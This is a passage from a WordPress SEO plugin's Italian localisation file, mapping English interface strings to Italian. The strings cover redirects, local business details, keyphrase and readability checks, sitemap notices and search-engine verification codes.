all\'interno del percorso: %1$s. Intendevi forse utilizzare %2$s?','Your target URL contains the invalid character(s) %1$s'=>'L\'URL di destinazione contiene uno o più caratteri non validi %1$s','Your target URL should be an absolute URL like %1$s or start with a slash %2$s.'=>'L\'URL di destinazione deve essere un URL assoluto come %1$s o iniziare con uno slash %2$s.','Add Redirect'=>'Aggiungi reindirizzamento','An error occurred while adding your redirects. Please try again later.'=>'Si è verificato un errore durante l\'aggiunta dei reindirizzamenti. Riprova più tardi.','Enter a URL or start by typing a page or post title, slug or ID.'=>'Inserisci un URL o inizia a digitare il titolo, lo slug o l\'ID di una pagina o di un articolo.','Redirect Type:'=>'Tipo di reindirizzamento:','Widget'=>'Widget','Display Info'=>'Visualizza le informazioni','404 Redirects'=>'Reindirizzamenti 404','Modified Posts'=>'Articoli modificati','Manual Redirects'=>'Reindirizzamenti manuali','Ignore all parameters except UTM'=>'Ignora tutti i parametri tranne UTM','Ignore & pass parameters to the target'=>'Ignora e passa i parametri al target','Exact match all parameters in any order'=>'Corrispondenza esatta di tutti i parametri in qualsiasi ordine','Ignore all parameters'=>'Ignora tutti i parametri','Create and manage redirects for your broken links.'=>'Crea e gestisci i reindirizzamenti per i tuoi link non funzionanti.','Forever'=>'Per sempre','1 week'=>'1 settimana','1 day'=>'1 giorno','1 hour'=>'1 ora','Ignore Slash'=>'Ignora slash','Ignore Case'=>'Ignora maiuscole/minuscole','Redirect Logs'=>'Log dei reindirizzamenti','No, I changed my mind'=>'No, ho cambiato idea','This action cannot be undone.'=>'Questa azione non può essere annullata.','Are you sure you want to delete these query args?'=>'Sei sicuro di voler davvero eliminare gli argomenti della query?','Choose a plugin to import Local SEO directly into %1$s.'=>'Scegli un plugin per importare Local SEO direttamente in %1$s.','Import from CSV file...'=>'Importa da file CSV...','Payment Methods Accepted'=>'Metodi di pagamento accettati','Currencies Accepted'=>'Valute accettate','Address Line 2'=>'Indirizzo (riga 2)','Address Line 1'=>'Indirizzo (linea 1)','Hours'=>'Ore','I have two sets of opening hours per day'=>'Ho due fasce orarie di apertura al giorno','Displayed when the business is open all day long.'=>'Visualizzato quando l\'attività è aperta tutto il giorno.','Displayed when the business is closed.'=>'Visualizzato quando l\'attività è chiusa.','Will default opening hours set globally'=>'Gli orari di apertura predefiniti saranno impostati a livello globale','Use Defaults'=>'Utilizza i valori predefiniti','IDs'=>'ID','Contact Info'=>'Informazioni di contatto','Contact Page URL'=>'URL della pagina di contatto','About Page URL'=>'URL della pagina About','Website URL'=>'URL del sito web','Show icons'=>'Mostra icone','Show labels'=>'Mostra le etichette','Phone/Fax Country Code'=>'Codice telefono/fax del Paese','Show Tax ID'=>'Mostra codice fiscale','Show VAT ID'=>'Mostra l\'ID IVA','Email Address'=>'Indirizzo email','Fax Number'=>'Numero di fax','Address'=>'Indirizzo','Hits'=>'Hit','Target URL'=>'URL di destinazione','Source URL'=>'Fonte URL','404 Monitoring'=>'Monitoraggio errori 404','Redirect Monitoring'=>'Monitoraggio del reindirizzamento','Automatic Redirects'=>'Reindirizzamenti automatici','Fast Server Redirects'=>'Reindirizzamenti veloci del server','Search URLs'=>'URL di ricerca','Add New Redirection'=>'Aggiungi un nuovo reindirizzamento','Pass through'=>'Passante','All Groups'=>'Tutti i gruppi','Filter by Group'=>'Filtra per gruppo','Group'=>'Gruppo','%1$s Local - Business Info'=>'%1$s Local - Informazioni attività','%1$s Local - Opening Hours'=>'%1$s Local - Orari di apertura','Select a %1$s'=>'Seleziona un %1$s','No %1$s found'=>'Non abbiamo trovato %1$s','Loading...'=>'In caricamento ...','Please enable multiple locations before using this block.'=>'Abilita più posizioni prima di utilizzare questo blocco.','Settings'=>'Impostazioni','Import / Export'=>'Importa/esporta','404 Logs'=>'Registri 404','No Index RSS Feeds'=>'Feed RSS No Index','Setup %1$s'=>'Configura %1$s','Activate %1$s'=>'Attiva %1$s','%1$s is Installed & Active'=>'%1$s è installato e attivo','items'=>'elementi','of'=>'di','Apply'=>'Applica','Bulk Actions'=>'Azioni di gruppo','Google Analytics is now handled by %1$s.'=>'Google Analytics è ora gestito da %1$s.','Install %1$s'=>'Installa %1$s','%1$sA valid license key is required%2$s in order to connect with %3$s.'=>'Per connettersi a %3$s %1$sè necessaria una chiave di licenza valida%2$s.','Get Additional Keyphrases with %1$s!'=>'Ottieni frasi chiave aggiuntive con %1$s!','To use this feature, first add a focus keyphrase.'=>'Per usare questa funzione, aggiungi prima una frase chiave di riferimento.','%1$s integrates directly with %2$s to provide you with actionable keyphrases to help you write better content.'=>'%1$s si integra direttamente con %2$s per suggerirti frasi chiave utilizzabili che ti aiuteranno a scrivere contenuti migliori.','Analyzing your content with %1$s keywords is only available to licensed %2$s users. %3$s'=>'L\'analisi dei contenuti con le parole chiave di %1$s è disponibile solo per chi ha una licenza di %2$s. %3$s','No results'=>'Nessun risultato','Remove Keyphrase'=>'Rimuovi la frase chiave','Add Keyphrase'=>'Aggiungi una frase chiave','Trend'=>'Tendenza','Volume'=>'Volume','Show Results For:'=>'Risultati degli spettacoli per:','Get Additional Keyphrases'=>'Ottieni frasi chiave aggiuntive','Additional Keyphrases by %1$s'=>'Altre frasi chiave da %1$s','Not Found'=>'Non trovato','%1$s migrated all your title formats, some of which were blank. If you were purposely using blank formats in the previous version of %2$s and want WordPress to handle your titles, you can safely dismiss this message. For more information, check out our documentation on %3$sblank title formats%4$s.'=>'%1$s ha migrato tutti i formati dei titoli, alcuni dei quali erano vuoti. Se nella versione precedente di %2$s usavi di proposito dei formati vuoti e vuoi che sia WordPress a gestire i tuoi titoli, puoi ignorare questo messaggio. Per maggiori informazioni, %3$sconsulta la nostra documentazione sui formati dei titoli vuoti%4$s.','review'=>'recensione' . "\0" . 'recensioni','Rating'=>'Valutazione','Question'=>'Domanda','FAQ'=>'FAQ','(Default)'=>'(Predefinito)','Recipe'=>'Ricetta','Course'=>'Corso','The first name of the post author.'=>'Il nome dell\'autore dell\'articolo.','The display name of the post author.'=>'Il nome visualizzato dell\'autore dell\'articolo.','Your site already has %1$s activated. If you want to switch to %2$s, please first go to Plugins > Installed Plugins and deactivate %1$s. Then, you can activate %2$s.'=>'%1$s è già attivo sul tuo sito. Se vuoi passare a %2$s, vai prima su Plugin > Plugin installati e disattiva %1$s. Dopo potrai attivare %2$s.','Heads up!'=>'Occhio!','%1$sNote:%2$s Support for PHP %3$s will be discontinued in %4$s. After this, if no further action is taken, %5$s functionality will be disabled. %6$sRead more for additional information.%7$s'=>'%1$sNota:%2$s Il supporto per PHP %3$s sarà interrotto nel %4$s. Se dopo questa data non verranno intraprese ulteriori azioni, la funzionalità di %5$s sarà disabilitata. %6$sLeggi di più per ulteriori informazioni.%7$s','Your site is running an %1$soutdated version%2$s of PHP that is no longer supported and may cause issues with %3$s. Please contact your web hosting provider to update your PHP version or switch to a %4$srecommended WordPress hosting company%5$s.'=>'Il tuo sito sta usando una %1$sversione obsoleta%2$s di PHP che non è più supportata e può causare problemi con %3$s. Contatta il tuo provider di web hosting per aggiornare la versione di PHP o passa a una delle %4$ssocietà di hosting WordPress raccomandate%5$s.','%1$sNote:%2$s %3$s plugin is disabled on your site until you fix the issue. %4$sRead more for additional information.%5$s'=>'%1$sNota:%2$s Il plugin %3$s rimarrà disabilitato sul tuo sito finché non risolvi il problema. %4$sLeggi di più per ulteriori informazioni.%5$s','Your site is running an %1$sinsecure version%2$s of PHP that is no longer supported. Please contact your web hosting provider to update your PHP version or switch to a %3$srecommended WordPress hosting company%4$s.'=>'Il tuo sito sta usando una %1$sversione non sicura%2$s di PHP che non è più supportata. Contatta il tuo provider di web hosting per aggiornare la versione di PHP o passa a una delle %3$ssocietà di hosting WordPress raccomandate%4$s.','Sample Taxonomy Name Value'=>'Esempio di valore del nome tassonomia','Sample Custom Field Value'=>'Esempio di valore di un campo personalizzato','Example search string'=>'Esempio di stringa di ricerca','Sample author biography'=>'Esempio di biografia dell\'autore','Sample Archive Title'=>'Titolo dell\'archivio di esempio','Sample taxonomy description'=>'Descrizione della tassonomia di esempio','Sample Category 1, Sample Category 2'=>'Categoria esempio 1, Categoria esempio 2','Sample Taxonomy Title'=>'Esempio di titolo di tassonomia','An example of content from your page/post.'=>'Un esempio di contenuto della tua pagina/articolo.','Sample excerpt from a page/post.'=>'Esempio di riassunto da una pagina/articolo.','Sample Parent'=>'Esempio genitore','Sample Post'=>'Articolo di esempio','Sample caption for media.'=>'Esempio di didascalia per i media.','A sample alt tag for your image'=>'Un esempio di tag alt per la tua immagine','All categories that are assigned to the current post, comma-separated.'=>'Tutte le categorie assegnate al post corrente, separate da virgole.','The title of the parent post of the current page/post.'=>'Il titolo del post genitore della pagina/articolo corrente.','Parent Title'=>'Titolo genitore','The meta description for the current page/post.'=>'La meta descrizione della pagina/articolo attuale.','The name of the first term of a given taxonomy that is assigned to the current page/post.'=>'Il nome del primo termine di una determinata tassonomia assegnato alla pagina/articolo attuale.','Taxonomy Name'=>'Nome della tassonomia','The term the user is searching for.'=>'Il termine che l\'utente sta cercando.','Search Term'=>'Termine di ricerca','A custom field from the current page/post.'=>'Un campo personalizzato della pagina/articolo attuale.','Custom Field'=>'Campo personalizzato','The tagline for your site, set in the general settings.'=>'Il motto del tuo sito, impostato nelle impostazioni generali.','Tagline'=>'Motto','The description for your site.'=>'La descrizione del tuo sito.','Site link (link as text).'=>'Link al sito (link come testo).','Site Link (Alt)'=>'Link al sito (Alt)','Site link (name as text).'=>'Link al sito (nome come testo).','Site Link'=>'Link al sito','The separator defined in the search appearance settings.'=>'Il separatore definito nelle impostazioni dell\'aspetto della ricerca.','The original title of the current post.'=>'Il titolo originale dell\'articolo attuale.','The year when the page/post was published, localized.'=>'L\'anno di pubblicazione della pagina/articolo, localizzato.','%1$s Year'=>'Anno %1$s','The month when the page/post was published, localized.'=>'Il mese in cui la pagina/articolo è stato pubblicato, localizzato.','%1$s Month'=>'Mese %1$s','The day of the month when the page/post was published, localized.'=>'Il giorno del mese in cui la pagina/articolo è stato pubblicato, localizzato.','%1$s Day'=>'%1$s Giorno','The date when the page/post was published, localized.'=>'La data di pubblicazione della pagina/articolo, localizzata.','%1$s Date'=>'Data %1$s','The date of the current archive, localized.'=>'La data dell\'archivio attuale, localizzata.','Archive Date'=>'Data dell\'archivio','The content of your page/post.'=>'Il contenuto della tua pagina/articolo.','%1$s Content'=>'Contenuto %1$s','The excerpt defined on your page/post. Will not fall back to the post content.'=>'Il riassunto definito nella tua pagina/articolo. Non ritornerà al contenuto dell\'articolo.','%1$s Excerpt Only'=>'Solo riassunto di %1$s','The excerpt defined on your page/post.'=>'Il riassunto definito nella tua pagina/articolo.','%1$s Excerpt'=>'Riassunto %1$s','The current year, localized.'=>'L\'anno corrente, localizzato.','Current Year'=>'Anno corrente','The current month, localized.'=>'Il mese corrente, localizzato.','Current Month'=>'Mese corrente','The current day of the month, localized.'=>'Il giorno del mese corrente, localizzato.','Current Day'=>'Giorno corrente','The current date, localized.'=>'La data attuale, localizzata.','Current Date'=>'Data attuale','The page number for the current paginated page.'=>'Il numero di pagina della paginazione attuale.','Page Number'=>'Numero della pagina','The permalink for the current page/post.'=>'Il permalink della pagina/articolo attuale.','Permalink'=>'Permalink','Current or first term link (link as text).'=>'Link attuale o del primo termine (link come testo).','%1$s Link (Alt)'=>'Link (Alt) %1$s','Current or first term link (name as text).'=>'Link attuale o del primo termine (nome come testo).','%1$s Link'=>'Link %1$s','%1$s Description'=>'Descrizione di %1$s','Current or first category title.'=>'Titolo della categoria attuale o della prima categoria.','The title of the current archive.'=>'Il titolo dell\'archivio attuale.','Archive Title'=>'Titolo dell\'archivio','Author Last Name'=>'Cognome dell\'autore','Author First Name'=>'Nome dell\'autore','Author Name'=>'Nome dell\'autore','The biography of the author.'=>'La biografia dell\'autore.','Author Biography'=>'Biografia dell\'autore','Author archive link (link as text).'=>'Link all\'archivio dell\'autore (link come testo).','Author Link (Alt)'=>'Link autore (Alt)','Author archive link (name as text).'=>'Link all\'archivio dell\'autore (nome come testo).','Author Link'=>'Link autore','Caption for the current media file.'=>'Didascalia del file media attuale.','Media Caption'=>'Didascalia dei media','Image Alt Tag'=>'Tag Alt dell\'immagine','Archives for'=>'Archivi per','Attachments'=>'Allegati','This sitemap was %1$s generated on %2$s at %3$s by %4$s %5$s - the original SEO plugin for WordPress.'=>'Questa sitemap è stata generata %1$s il %2$s alle %3$s da %4$s %5$s - il primo plugin SEO di WordPress.','statically'=>'staticamente','Delete Static Files'=>'Elimina i file statici','%1$s has detected static sitemap files in the root folder of your WordPress installation. As long as these files are present, %2$s is not able to dynamically generate your sitemap.'=>'%1$s ha rilevato dei file statici di sitemap nella cartella principale della tua installazione di WordPress. Finché questi file sono presenti, %2$s non può generare dinamicamente la tua sitemap.','Static sitemap files detected'=>'Rilevati file statici della sitemap','We were unable to import the phone number that you previously entered for your Knowledge Graph schema markup. As it needs to be internationally formatted, please enter it (%1$s) with the country code, e.g. +1 (555) 555-1234.'=>'Non siamo riusciti a importare il numero di telefono che hai inserito in precedenza per il tuo markup Schema Knowledge Graph. Il numero deve avere formato internazionale, per cui inseriscilo (%1$s) con il codice del Paese, ad esempio +1 (555) 555-1234.','You selected to install the free %1$s plugin during the setup of %2$s, but there was an issue during installation. Click below to manually install.'=>'Hai selezionato di installare il plugin gratuito %1$s durante la configurazione di %2$s, ma si è verificato un problema durante l\'installazione. Fai clic qui sotto per effettuare l\'installazione manuale.','Try Again'=>'Riprova','Unfortunately, there was an error importing your SEO plugin settings. This could be due to an incompatibility in the version installed. Make sure you are on the latest version of the plugin and try again.'=>'Purtroppo si è verificato un errore nell\'importazione delle impostazioni del tuo plugin di SEO. Questo potrebbe essere dovuto a un\'incompatibilità con la versione installata. Verifica di aver installato l\'ultima versione del plugin e riprova.','SEO Plugin Import Failed'=>'Importazione del plugin SEO fallita','An error occurred while trying to write to the .htaccess file. Please try again later.'=>'Si è verificato un errore durante il tentativo di scrittura del file .htaccess. Riprova più tardi.','%1$s Debug Info from %2$s'=>'Informazioni di debug di %1$s da %2$s','There was an error deleting the physical robots.txt file.'=>'Si è verificato un errore nell\'eliminazione del file robots.txt fisico.','There was an error importing the static robots.txt file.'=>'Si è verificato un errore nell\'importazione del file statico Robots.txt.','Deactivation failed. Please check permissions and try again.'=>'Disattivazione non riuscita. Controlla i permessi e riprova.','Installation failed. Please check permissions and try again.'=>'L\'installazione non è riuscita. Controlla i permessi e riprova.','Review Your Facebook Open Graph Titles and Descriptions'=>'Rivedi i titoli e le descrizioni del tuo Open Graph Facebook','Due to some changes in how our Open Graph integration works, your Facebook Titles and Descriptions may have changed. You were using the following options that have been removed:'=>'A causa di alcuni cambiamenti nel funzionamento della nostra integrazione Open Graph, i titoli e le descrizioni di Facebook potrebbero essere cambiati. Stavi usando le seguenti opzioni che ora sono state rimosse:','The phone number that you previously entered for your Knowledge Graph schema markup is invalid. As it needs to be internationally formatted, please enter it (%1$s) again with the country code, e.g. +1 (555) 555-1234.'=>'Il numero di telefono che hai inserito in precedenza per il tuo markup Schema Knowledge Graph non è valido. Il numero deve avere formato internazionale, per cui inseriscilo di nuovo (%1$s) con il codice del Paese, ad esempio +1 (555) 555-1234.','Invalid Phone Number for Knowledge Graph'=>'Numero di telefono non valido per il Knowledge Graph','Blank Title Formats Detected'=>'Rilevati formati di titoli vuoti','Review Now'=>'Recensisci ora','Due to a bug in the previous version of %1$s, your homepage title and description may have changed. Please take a minute to review your homepage settings to verify that they are correct.'=>'A causa di un bug nella versione precedente di %1$s, il titolo e la descrizione della tua homepage potrebbero essere cambiati. Ti invitiamo a verificare che le impostazioni della tua homepage siano corrette.','Review Your Homepage Title & Description'=>'Rivedi il titolo e la descrizione della tua homepage','%1$s has detected that you have one or more custom fields with spaces in their name. In order for %2$s to correctly parse these custom fields, their names cannot contain any spaces.'=>'%1$s ha rilevato che hai uno o più campi personalizzati il cui nome contiene degli spazi. Affinché %2$s analizzi correttamente questi campi personalizzati, i loro nomi non possono contenere spazi.','Custom field names with spaces detected'=>'Rilevati nomi di campi personalizzati con spazi','You can find more information about XML Sitemaps at %1$ssitemaps.org%2$s.'=>'Trovi maggiori informazioni sulle sitemap XML su %1$ssitemaps.org%2$s.','Physical Robots.txt File Detected'=>'Rilevato il file Robots.txt fisico','needs update'=>'necessita di un aggiornamento','Not Set'=>'Non impostato','unknown'=>'sconosciuto','Web Server'=>'Server web','Constants'=>'Costanti','Base URL:'=>'URL di base:','Base Directory:'=>'Directory di base:','Url:'=>'Url:','Path:'=>'Percorso:','Upload Directory Info'=>'Carica le info sulla directory','Hidden'=>'Nascosto','Visible'=>'Visibile','Front Page Info'=>'Info della homepage','User Count'=>'Numero utenti','Permalink Structure'=>'Struttura dei permalink','User Language'=>'Lingua dell\'utente','Latest version:'=>'Ultima versione:','(Invalid IP)'=>'(IP non valido)','%1$s minute'=>'%1$s minuto' . "\0" . '%1$s minuti','Est. reading time'=>'Tempo di lettura stimato','Written by'=>'Scritto da','Published on %1$s.'=>'Pubblicato su %1$s.','%1$s Settings'=>'Impostazioni di %1$s','Your entire site is set to globally nofollow content.'=>'Il tuo sito è impostato sul nofollow per tutti i suoi contenuti.','Your entire site is set to globally noindex content.'=>'L\'intero sito è impostato sul noindex globale dei contenuti.','%1$s is updated to the latest version'=>'%1$s è aggiornato all\'ultima versione','%1$s needs to be updated'=>'%1$s deve essere aggiornato','Go to Schema Settings'=>'Vai alle Impostazioni di Schema','%1$s › Onboarding Wizard'=>'%1$s › Procedura guidata di onboarding','%1$s Score'=>'Punteggio %1$s','%1$s Details'=>'Dettagli %1$s','Please rate %1$s %2$s on %3$s to help us spread the word. Thank you!'=>'Dai %2$s a %1$s su %3$s per aiutarci a farlo conoscere. Grazie!','%1$sAdd %2$srel="UGC"%3$s to link'=>'%1$sAggiungi %2$srel="UGC"%3$s al link','%1$sAdd %2$srel="sponsored"%3$s to link'=>'%1$sAggiungi %2$srel="sponsored"%3$s al link','%1$sAdd %2$srel="nofollow"%3$s to link'=>'%1$sAggiungi %2$srel="nofollow"%3$s al link','This notice will automatically disappear as soon as the migration has completed. Meanwhile, everything should continue to work as expected.'=>'Questa notifica scomparirà automaticamente non appena la migrazione sarà completata. Nel frattempo, tutto dovrebbe continuare a funzionare come previsto.','%1$s is currently upgrading your database and migrating your SEO data in the background.'=>'%1$s sta aggiornando il tuo database e migrando i tuoi dati SEO in background.','%1$s V3->V4 Migration In Progress'=>'Migrazione di %1$s V3->V4 in corso','This notice will automatically disappear as soon as the import has completed. Meanwhile, everything should continue to work as expected.'=>'Questa notifica scomparirà automaticamente non appena l\'importazione sarà completata. Nel frattempo, tutto dovrebbe continuare a funzionare come previsto.','%1$s is importing your existing SEO data in the background.'=>'%1$s sta importando i dati SEO esistenti in background.','SEO Meta Import In Progress'=>'Importazione Meta SEO in corso','Conflicting Plugins Detected'=>'Rilevato un conflitto tra plugin','Warning: %1$s has detected that you may have an invalid description format. This could lead to descriptions not being properly applied to your content.'=>'Attenzione: %1$s ha rilevato un formato di descrizione non valido. Questo potrebbe far sì che le descrizioni non vengano applicate correttamente ai tuoi contenuti.','Invalid Description Format'=>'Formato della descrizione non valido','Fix Now'=>'Correggi ora','Search Engines Blocked'=>'Motori di ricerca bloccati','Plugin is missing required dependencies. Please contact support for more information.'=>'Il plugin non ha le dipendenze necessarie. Contatta l\'assistenza per ulteriori informazioni.','Advanced %1$s Support'=>'Supporto avanzato per %1$s','The Pro version installed correctly, but it needs to be activated from the Plugins page inside your WordPress admin.'=>'La versione Pro è stata installata correttamente, ma deve essere attivata dalla pagina dei plugin nella bacheca di amministrazione di WordPress.','You are not licensed.'=>'Non hai la licenza.','Could not install upgrade. Please download from %1$s and install manually.'=>'Impossibile installare l\'aggiornamento. Scaricalo da %1$s e installalo manualmente.','Pro version is already installed.'=>'La versione Pro è già installata.','Please enter your license key to connect.'=>'Inserisci la tua chiave di licenza per connetterti.','You are not allowed to install plugins.'=>'Non hai i permessi per installare i plugin.','%1$s › Connect'=>'%1$s › Connettiti','Not sure what keyphrases are used for? Check out our documentation for more information. %1$s'=>'Non sai a cosa servono le frasi chiave? Consulta la nostra documentazione per maggiori informazioni. %1$s','Add Focus Keyphrase'=>'Aggiungi una frase chiave principale','Add Additional Keyphrases'=>'Aggiungi altre frasi chiave','The content is below the minimum of words. Add more content.'=>'Il testo contiene un numero di parole inferiore al minimo consigliato, allungalo.','Content length'=>'Lunghezza del contenuto','This is far below the recommended minimum of words.'=>'È molto al di sotto del numero minimo di parole raccomandato.','The content length is ok. Good job!'=>'La lunghezza del contenuto è ok. Ottimo lavoro!','%1$s is too long. Try to make it shorter.'=>'%1$s è troppo lunga. Prova ad accorciala.','%1$s is slightly long. Try to make it shorter.'=>'%1$s è un po\' lunga. Prova ad accorciarla.','No %1$s was set. Set a %1$s in order to calculate your SEO score.'=>'Non hai indicato nessuna %1$s. Indica una %1$s per calcolare il tuo punteggio SEO.','%1$s length'=>'Lunghezza della %1$s','Focus keyphrase not found in SEO title.'=>'La frase chiave non compare nel titolo SEO.','Focus keyphrase in SEO title'=>'Frase chiave nel titolo SEO','Focus keyphrase found in SEO title.'=>'La frase chiave compare nel titolo SEO.','Focus keyphrase doesn\'t appear at the beginning of SEO title.'=>'La frase chiave non compare all\'inizio del titolo SEO.','Focus keyphrase at the beginning of SEO Title'=>'Frase chiave all\'inizio del titolo SEO','Focus keyphrase used at the beginning of SEO title.'=>'Frase chiave usata all\'inizio del titolo SEO.','%1$s not found in meta description.'=>'Non abbiamo trovato la %1$s nella meta descrizione.','%1$s found in meta description.'=>'Trovata %1$s nella meta descrizione.','%1$s in meta description'=>'%1$s nella meta descrizione','Focus keyphrase not found in the URL.'=>'La frase chiave non compare nell\'URL.','Focus keyphrase in URL'=>'Frase chiave nell\'URL','Focus keyphrase used in the URL.'=>'Frase chiave usata nell\'URL.','Readability'=>'Leggibilità','Additional Keyphrases'=>'Altre frasi chiave','Focus Keyphrase'=>'Frase chiave','Edit Snippet'=>'Modifica Snippet','General'=>'Generale','Enter a URL to change the default Canonical URL'=>'Inserisci un URL per modificare l\'URL canonico predefinito','Robots Setting'=>'Impostazione dei robot','Your %1$s does not appear in the first paragraph. Make sure the topic is clear immediately.'=>'La tua %1$s non compare nel primo paragrafo. Assicurati che l\'argomento sia chiaro da subito.','Your %1$s appears in the first paragraph. Well done!'=>'Il tuo %1$s appare nel primo paragrafo. Ben fatto!','No content added yet.'=>'Non è stato ancora aggiunto del contenuto.','%1$s in introduction'=>'%1$s nell\'introduzione','Focus keyphrase not found in content.'=>'La frase chiave non compare nel contenuto.','Focus keyphrase in content'=>'Frase chiave nel contenuto','Focus keyphrase found in content.'=>'La frase chiave compare nel contenuto.','Preview & Edit'=>'Anteprima e modifica','Here you can view and edit the thumbnail, title and description that will be displayed when your site is shared on social media. Click on the button below to view and edit the preview.'=>'Qui puoi vedere e modificare l\'anteprima, il titolo e la descrizione che verranno visualizzati quando il tuo sito viene condiviso sui social media. Fai clic sul pulsante qui sotto per vedere e modificare l\'anteprima.','Default (Set under Social Networks)'=>'Predefinito (impostato in Social network)','Use Data from Facebook Tab'=>'Usa i dati della scheda di Facebook','Default Object Type (Set in Social Networks)'=>'Tipo di oggetto predefinito (impostato in Social network)','Press enter to create an article tag'=>'Premi invio per creare un tag per l\'articolo','Facebook Description'=>'Descrizione Facebook','Facebook Title'=>'Titolo Facebook','Facebook Image'=>'Immagine Facebook','Video URL'=>'URL video','Custom Field Name'=>'Nome campo personalizzato','Image Source'=>'Sorgente immagine','Facebook Preview'=>'Anteprima di Facebook','Social'=>'Social','Keyphrase'=>'Frase chiave','Focus keyphrase'=>'Frase chiave','Modal Content'=>'Contenuto modale','Use your focus keyphrase more in your H2 and H3 subheadings.'=>'Usa di più la frase chiave di riferimento nei sottotitoli H2 e H3.','Focus keyphrase in Subheadings'=>'Frase chiave nei sottotitoli','Your H2 and H3 subheadings reflects the topic of your copy. Good job!'=>'I sottotitoli H2 e H3 rispecchiano l\'argomento del tuo testo. Ottimo lavoro!','Your H2 or H3 subheading reflects the topic of your copy. Good job!'=>'Il tuo sottotitolo H2 o H3 riflette l\'argomento del tuo testo. Ottimo lavoro!','More than %1$s of your H2 and H3 subheadings reflect the topic of your copy. That\'s too much. Don\'t over-optimize!'=>'Più del %1$s dei tuoi titoli H2 e H3 riflettono l\'argomento del tuo testo. È un po\' troppo, ricorda di non sovraottimizzare!','%1$s not found in image alt attribute(s). Add an image with your %1$s as alt text.'=>'Non abbiamo trovato %1$s negli attributi alt dell\'immagine. Aggiungi un\'immagine con la tua %1$s come testo alt.','%1$s in image alt attributes'=>'%1$s negli attributi alt delle immagini','%1$s found in image alt attribute(s).'=>'Trovata %1$s negli attributi alt dell\'immagine.','The title is over 60 characters.'=>'Il titolo supera i 60 caratteri.','SEO Title length'=>'Lunghezza del titolo SEO','The title is too short.'=>'Il titolo è troppo corto.','No title has been specified. Make sure to write one!'=>'Non è stato specificato nessun titolo. Scrivine uno!','Please add a title first.'=>'Aggiungi prima un titolo.','%1$s of the sentences contain passive voice, which is more than the recommended maximum of %2$s. Try to use their active counterparts.'=>'Il %1$s delle frasi è scritto in forma passiva, e superano il numero massimo consigliato di %2$s. Cerca di usare la forma attiva.','Passive voice'=>'Voce passiva','You\'re using enough active voice. That\'s great!'=>'Stai usando abbastanza la voce attiva. Ottimo!','You are using short paragraphs.'=>'Stai usando paragrafi brevi.','Paragraphs length'=>'Lunghezza dei paragrafi','At least one paragraph is long. Consider using short paragraphs.'=>'Almeno un paragrafo è troppo lungo. Ricorda che è meglio scrivere paragrafi brevi.','You are not using rich media like images or videos.'=>'Non stai usando rich media come immagini o video.','Images/videos in content'=>'Immagini/video nei contenuti','Your content contains images and/or video(s).'=>'Il tuo contenuto contiene immagini e/o video.','Please add some content first.'=>'Aggiungi prima qualche contenuto.','%1$s of the sentences contain more than %2$s words, which is more than the recommended maximum of %3$s. Try to shorten the sentences.'=>'%1$s frasi contengono più di %2$s parole, che è superiore al massimo consigliato di %3$s parole. Cerca di accorciare le frasi.','Sentences length'=>'Lunghezza delle frasi','Sentence length is looking great!'=>'La lunghezza della frase è ottima!','The meta description is over 160 characters.'=>'La meta descrizione è di oltre 160 caratteri.','Meta description length'=>'Lunghezza della meta descrizione','The meta description is too short.'=>'La meta descrizione è troppo corta.','No meta description has been specified. Search engines will display copy from the page instead. Make sure to write one!'=>'Non è stata specificata nessuna meta descrizione, per cui motori di ricerca mostreranno una porzione di testo presa direttamente dalla pagina. Scrivi una meta descrizione!','There is enough variety in your sentences. That\'s great!'=>'C\'è abbastanza varietà nelle tue frasi. È fantastico!','Consecutive sentences'=>'Frasi consecutive','The text contains at least %1$d consecutive sentences starting with the same word. Try to mix things up!'=>'Il testo contiene almeno %1$d frasi consecutive che iniziano con la stessa parola. Cerca di variare un po\'!','Well done!'=>'Ben fatto!','Transition words'=>'Parole di transizione','Only %1$s of the sentences contain transition words, which is not enough. Use more of them.'=>'Solo %1$s delle frasi contiene parole di transizione, il che non è sufficiente. Utilizzane di più.','None of the sentences contain transition words. Use some.'=>'Nessuna delle frasi contiene parole di transizione. Utilizzane alcune.','Flesch reading ease N/A'=>'Punteggio di leggibilità di Flesch N/A','The copy scores %1$s in the test, which is considered %2$s to read. %3$s'=>'La copia ottiene il punteggio di %1$s nel test, che è considerato %2$s da leggere. %3$s','Flesch reading ease'=>'Punteggio di leggibilità di Flesch','The copy scores %1$s in the test, which is considered %2$s to read.'=>'La copia ottiene il punteggio di %1$s nel test, che è considerato %2$s da leggere.','very easy'=>'molto facile','Good job!'=>'Ottimo lavoro!','Preview Snippet Editor'=>'Anteprima dell\'editor degli snippet','You are not using any subheadings, but your text is short enough and probably doesn\'t need them.'=>'Non stai utilizzando alcun sottotitolo, ma il tuo testo è abbastanza breve e probabilmente non ne ha bisogno.','Subheading distribution'=>'Distribuzione dei sottotitoli','Great job!'=>'Ottimo lavoro!','You are not using any subheadings, although your text is rather long. Try and add some subheadings.'=>'Non stai usando nessun sottotitolo anche se il tuo testo è piuttosto lungo. Prova ad aggiungere dei sottotitoli.','%1$d section of your text is longer than %2$d words and is not separated by any subheadings. Add subheadings to improve readability.'=>'%1$d sezione del tuo testo contiene più di %2$d parole e non è separata da alcun sottotitolo. Aggiungi dei sottotitoli per migliorare la leggibilità.' . "\0" . '%1$d sezioni del tuo testo contengono più di %2$d parole e non sono separate da alcun sottotitolo. Aggiungi dei sottotitoli per migliorare la leggibilità.','We couldn\'t find any internal links in your content. Add internal links in your content.'=>'Non abbiamo trovato alcun link interno nel tuo contenuto. Aggiungi i link interni al tuo contenuto.','Internal links'=>'Link interni','You are linking to other resources on your website which is great.'=>'Il tuo sito web contiene link ad altre risorse, il che è fantastico.','No outbound links were found. Link out to external resources.'=>'Non sono stati trovati link in uscita. Aggiungi link a risorse esterne.','External links'=>'Link esterni','Great! You are linking to external resources.'=>'Ottimo! Stai aggiungendo link a risorse esterne.','Get your Google Tag Manager ID in your %1$s.'=>'Ottieni l\'ID di Google Tag Manager dal tuo %1$s.','Google Tag Manager Container ID'=>'ID container di Google Tag Manager','Pinterest account'=>'Account Pinterest','Get your Pinterest verification code in your %1$s.'=>'Ottieni il codice di verifica di Pinterest dal tuo %1$s.','Get your Baidu verification code in %1$s.'=>'Ottieni il tuo codice di verifica Baidu su %1$s.','Baidu Verification Code'=>'Codice di verifica Baidu','Get your Yandex verification code in %1$s.'=>'Ottieni il tuo codice di verifica Yandex su %1$s.','Yandex Verification Code'=>'Codice di verifica Yandex','Get your Bing verification code in %1$s.'=>'Ottieni il tuo codice di verifica Bing su %1$s.','Bing Verification Code'=>'Codice di verifica Bing','Get your Google verification code in %1$s.'=>'Ottieni il tuo codice di verifica Google dalla 